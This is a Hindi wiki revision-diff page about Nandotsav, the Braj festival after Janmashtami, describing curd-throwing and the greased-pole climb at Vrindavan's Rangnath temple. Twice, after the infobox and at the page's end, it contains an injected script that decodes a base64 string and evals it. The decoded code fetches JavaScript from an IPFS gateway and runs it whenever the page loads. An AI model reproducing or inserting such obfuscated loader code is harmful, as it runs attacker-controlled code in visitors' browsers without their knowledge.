"नन्दोत्सव" के अवतरणों में अंतर
गोविन्द राम (चर्चा | योगदान) |
गोविन्द राम (चर्चा | योगदान) |
||
पंक्ति 1: | पंक्ति 1: | ||
− | + | {{सूचना बक्सा त्योहार | |
− | [[मथुरा ज़िला|मथुरा ज़िले]] में [[वृंदावन]] के विशाल [[रंग नाथ जी मन्दिर वृन्दावन|श्री रंगनाथ मंदिर]] में [[ब्रज]] के नायक भगवान श्री [[कृष्ण]] के जन्मोत्सव के दूसरे दिन नन्दोत्सव की धूम रहती है। नन्दोत्सव में सुप्रसिद्ध '[[लठ्ठा का मेला|लठ्ठे के मेले]]' का आयोजन किया जाता है। | + | |चित्र=Banke-Bihari-Temple.jpg |
− | + | |चित्र का नाम=बांके बिहारी मन्दिर वृन्दावन | |
− | + | |अन्य नाम = | |
− | अर्धरात्रि में श्री कृष्ण का जन्म कंस के कारागार में होने के वाद उनके पिता [[वसुदेव]] | + | |अनुयायी = |
− | [[चित्र: | + | |उद्देश्य = |
− | + | |प्रारम्भ = | |
− | यह उत्सव 'दधिकांदों' के रूप मनाया जाता है। 'दधिकांदो' का अर्थ है दही की कीच। हल्दी मिश्रित दही फेंकने की परम्परा आज भी निभाई जाती है। मंदिर के पुजारी नन्द बाबा और [[यशोदा|जसोदा]] के वेष में भगवान कृष्ण को पालने को झुलाते हैं। मिठाई, फल, मेवा व मिश्री लुटायी जाती है। श्रद्धालु इस प्रसाद को पाकर अपने आपको धन्य मानते हैं। | + | |तिथि=[[भाद्रपद]] [[कृष्ण पक्ष]] [[नवमी]] |
− | + | |उत्सव =यह उत्सव 'दधिकांदों' के रूप मनाया जाता है। 'दधिकांदो' का अर्थ है दही की कीच। [[हल्दी]] मिश्रित [[दही]] फेंकने की परम्परा आज भी निभाई जाती है। | |
− | [[ | + | |अनुष्ठान = |
− | + | |धार्मिक मान्यता = | |
+ | |प्रसिद्धि = | ||
+ | |संबंधित लेख= | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी= [[मथुरा ज़िला|मथुरा ज़िले]] में [[वृंदावन]] के विशाल [[रंग नाथ जी मन्दिर वृन्दावन|श्री रंगनाथ मंदिर]] में [[ब्रज]] के नायक भगवान श्री [[कृष्ण]] के जन्मोत्सव के दूसरे दिन नन्दोत्सव की धूम रहती है। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | '''नन्दोत्सव''' में सुप्रसिद्ध '[[लठ्ठा का मेला|लठ्ठे के मेले]]' का आयोजन किया जाता है। [[गोकुल]] एवं [[नन्दगांव]] में भी नन्दोत्सव का विशेष आयोजन होता है। [[मथुरा ज़िला|मथुरा ज़िले]] में [[वृंदावन]] के विशाल [[रंग नाथ जी मन्दिर वृन्दावन|श्री रंगनाथ मंदिर]] में [[ब्रज]] के नायक भगवान श्री [[कृष्ण]] के जन्मोत्सव के दूसरे दिन नन्दोत्सव की धूम रहती है। | ||
+ | ==उत्सव== | ||
+ | अर्धरात्रि में श्री कृष्ण का जन्म [[कंस]] के कारागार में होने के वाद उनके पिता [[वसुदेव]] कंस के भय से बालक को रात्रि में ही [[यमुना नदी]] पार कर [[नन्द]] बाबा के यहाँ [[गोकुल]] में छोड़ आये थे। इसीलिए कृष्ण जन्म के दूसरे दिन गोकुल में 'नन्दोत्सव' मनाया जाता है। [[भाद्रपद]] [[नवमी]] के दिन समस्त [[ब्रज|ब्रजमंड़ल]] में नन्दोत्सव की धूम रहती है। | ||
+ | [[चित्र:Rang-Ji-Temple-Vrindavan-Mathura.jpg|left|[[रंग नाथ जी मन्दिर वृन्दावन|रंग नाथ जी मन्दिर]], [[वृन्दावन]]|thumb]] | ||
+ | ==दधिकांदों== | ||
+ | यह उत्सव 'दधिकांदों' के रूप मनाया जाता है। 'दधिकांदो' का अर्थ है दही की कीच। [[हल्दी]] मिश्रित [[दही]] फेंकने की परम्परा आज भी निभाई जाती है। मंदिर के पुजारी नन्द बाबा और [[यशोदा|जसोदा]] के वेष में भगवान कृष्ण को पालने को झुलाते हैं। मिठाई, फल, मेवा व मिश्री लुटायी जाती है। श्रद्धालु इस प्रसाद को पाकर अपने आपको धन्य मानते हैं। | ||
+ | ==श्री रंगनाथ मंदिर में== | ||
+ | [[वृंदावन]] में विशाल [[उत्तर भारत]] के [[रंग नाथ जी मन्दिर वृन्दावन|श्री रंगनाथ मंदिर]] में [[ब्रज]] के नायक भगवान श्री कृष्ण के जन्मोत्सव के दूसरे दिन नन्दोत्सव की धूम रहती है। नन्दोत्सव में सुप्रसिद्ध '[[लठ्ठा का मेला|लठ्ठे के मेले]]' का आयोजन किया जाता है। धार्मिक नगरी वृंदावन में [[कृष्ण जन्माष्टमी|श्री कृष्ण जन्माष्टमी]] जगह-जगह मनाई जाती है। उत्तर भारत के सबसे विशाल मंदिर में नन्दोत्सव की निराली छटा देखने को मिलती है। दक्षिण भारतीय शैली में बना प्रसिद्ध श्री रंगनाथ मंदिर में नन्दोत्सव के दिन श्रद्धालु लठ्ठा के मेला की एक झलक पाने को खड़े होकर देखते रहते हैं। जब भगवान 'रंगनाथ' रथ पर विराजमान होकर मंदिर के पश्चिमी द्वार पर आते हैं तो लठ्ठे पर चढ़ने वाले पहलवान भगवान रंगनाथ को दण्डवत कर विजयश्री का आर्शीवाद लेते हैं और लठ्ठे पर चढ़ना प्रारम्भ करते हैं। 35 फुट ऊंचे लठ्ठे पर जब पहलवान चढ़ना शुरू करते हैं उसी समय मचान के ऊपर से कई मन तेल और पानी की धार अन्य ग्वाल-वाल लठ्ठे पर गिराते हैं, जिससे पहलवान फिसलकर नीचे ज़मीन पर आ गिरते हैं। इसको देखकर श्रद्धालुओं में रोमांच की अनुभूति होती है। भगवान का आर्शीवाद लेकर ग्वाल-वाल पहलवान पुन: एक दूसरे को सहारा देकर लठ्ठे पर चढ़ने का प्रयास करते है और तेज़ पानी की धार और तेल की धार के बीच पूरे यत्न के साथ ऊपर की ओर चढ़ने लगते हैं। कई घंटे की मेहनत के बाद आख़िर ग्वाल-वालों को भगवान के आर्शीवाद से लठ्ठे पर चढ़कर जीत प्राप्त करने का अवसर मिलता है। इस रोमांचक मेले को देखकर देश-विदेश के श्रद्धालु श्रृद्धा से अभिभूत हो जाते हैं। ग्वाल-वाल खम्भे पर चढ़कर [[नारियल]], [[लोटा]], [[अमरुद]], [[केला]], [[फल]] मेवा व पैसे लूटने लगते हैं। इसी प्रकार वृंदावन में ही नहीं [[भारत]] के अन्य भागों में भी भगवान श्री कृष्ण जन्माष्टमी पर्व पर नन्दोत्सव मनाया जाता है। | ||
+ | |||
+ | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | ||
+ | ==टीका टिप्पणी और संदर्भ== | ||
+ | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{ब्रज के दर्शनीय स्थल}} | {{ब्रज के दर्शनीय स्थल}} |
11:17, 29 अगस्त 2013 का अवतरण
नन्दोत्सव
| |
तिथि | भाद्रपद कृष्ण पक्ष नवमी |
उत्सव | यह उत्सव 'दधिकांदों' के रूप मनाया जाता है। 'दधिकांदो' का अर्थ है दही की कीच। हल्दी मिश्रित दही फेंकने की परम्परा आज भी निभाई जाती है। |
अन्य जानकारी | मथुरा ज़िले में वृंदावन के विशाल श्री रंगनाथ मंदिर में ब्रज के नायक भगवान श्री कृष्ण के जन्मोत्सव के दूसरे दिन नन्दोत्सव की धूम रहती है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नन्दोत्सव में सुप्रसिद्ध 'लठ्ठे के मेले' का आयोजन किया जाता है। गोकुल एवं नन्दगांव में भी नन्दोत्सव का विशेष आयोजन होता है। मथुरा ज़िले में वृंदावन के विशाल श्री रंगनाथ मंदिर में ब्रज के नायक भगवान श्री कृष्ण के जन्मोत्सव के दूसरे दिन नन्दोत्सव की धूम रहती है।
उत्सव
अर्धरात्रि में श्री कृष्ण का जन्म कंस के कारागार में होने के वाद उनके पिता वसुदेव कंस के भय से बालक को रात्रि में ही यमुना नदी पार कर नन्द बाबा के यहाँ गोकुल में छोड़ आये थे। इसीलिए कृष्ण जन्म के दूसरे दिन गोकुल में 'नन्दोत्सव' मनाया जाता है। भाद्रपद नवमी के दिन समस्त ब्रजमंड़ल में नन्दोत्सव की धूम रहती है।
दधिकांदों
यह उत्सव 'दधिकांदों' के रूप मनाया जाता है। 'दधिकांदो' का अर्थ है दही की कीच। हल्दी मिश्रित दही फेंकने की परम्परा आज भी निभाई जाती है। मंदिर के पुजारी नन्द बाबा और जसोदा के वेष में भगवान कृष्ण को पालने को झुलाते हैं। मिठाई, फल, मेवा व मिश्री लुटायी जाती है। श्रद्धालु इस प्रसाद को पाकर अपने आपको धन्य मानते हैं।
श्री रंगनाथ मंदिर में
वृंदावन में विशाल उत्तर भारत के श्री रंगनाथ मंदिर में ब्रज के नायक भगवान श्री कृष्ण के जन्मोत्सव के दूसरे दिन नन्दोत्सव की धूम रहती है। नन्दोत्सव में सुप्रसिद्ध 'लठ्ठे के मेले' का आयोजन किया जाता है। धार्मिक नगरी वृंदावन में श्री कृष्ण जन्माष्टमी जगह-जगह मनाई जाती है। उत्तर भारत के सबसे विशाल मंदिर में नन्दोत्सव की निराली छटा देखने को मिलती है। दक्षिण भारतीय शैली में बना प्रसिद्ध श्री रंगनाथ मंदिर में नन्दोत्सव के दिन श्रद्धालु लठ्ठा के मेला की एक झलक पाने को खड़े होकर देखते रहते हैं। जब भगवान 'रंगनाथ' रथ पर विराजमान होकर मंदिर के पश्चिमी द्वार पर आते हैं तो लठ्ठे पर चढ़ने वाले पहलवान भगवान रंगनाथ को दण्डवत कर विजयश्री का आर्शीवाद लेते हैं और लठ्ठे पर चढ़ना प्रारम्भ करते हैं। 35 फुट ऊंचे लठ्ठे पर जब पहलवान चढ़ना शुरू करते हैं उसी समय मचान के ऊपर से कई मन तेल और पानी की धार अन्य ग्वाल-वाल लठ्ठे पर गिराते हैं, जिससे पहलवान फिसलकर नीचे ज़मीन पर आ गिरते हैं। इसको देखकर श्रद्धालुओं में रोमांच की अनुभूति होती है। भगवान का आर्शीवाद लेकर ग्वाल-वाल पहलवान पुन: एक दूसरे को सहारा देकर लठ्ठे पर चढ़ने का प्रयास करते है और तेज़ पानी की धार और तेल की धार के बीच पूरे यत्न के साथ ऊपर की ओर चढ़ने लगते हैं। कई घंटे की मेहनत के बाद आख़िर ग्वाल-वालों को भगवान के आर्शीवाद से लठ्ठे पर चढ़कर जीत प्राप्त करने का अवसर मिलता है। इस रोमांचक मेले को देखकर देश-विदेश के श्रद्धालु श्रृद्धा से अभिभूत हो जाते हैं। ग्वाल-वाल खम्भे पर चढ़कर नारियल, लोटा, अमरुद, केला, फल मेवा व पैसे लूटने लगते हैं। इसी प्रकार वृंदावन में ही नहीं भारत के अन्य भागों में भी भगवान श्री कृष्ण जन्माष्टमी पर्व पर नन्दोत्सव मनाया जाता है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>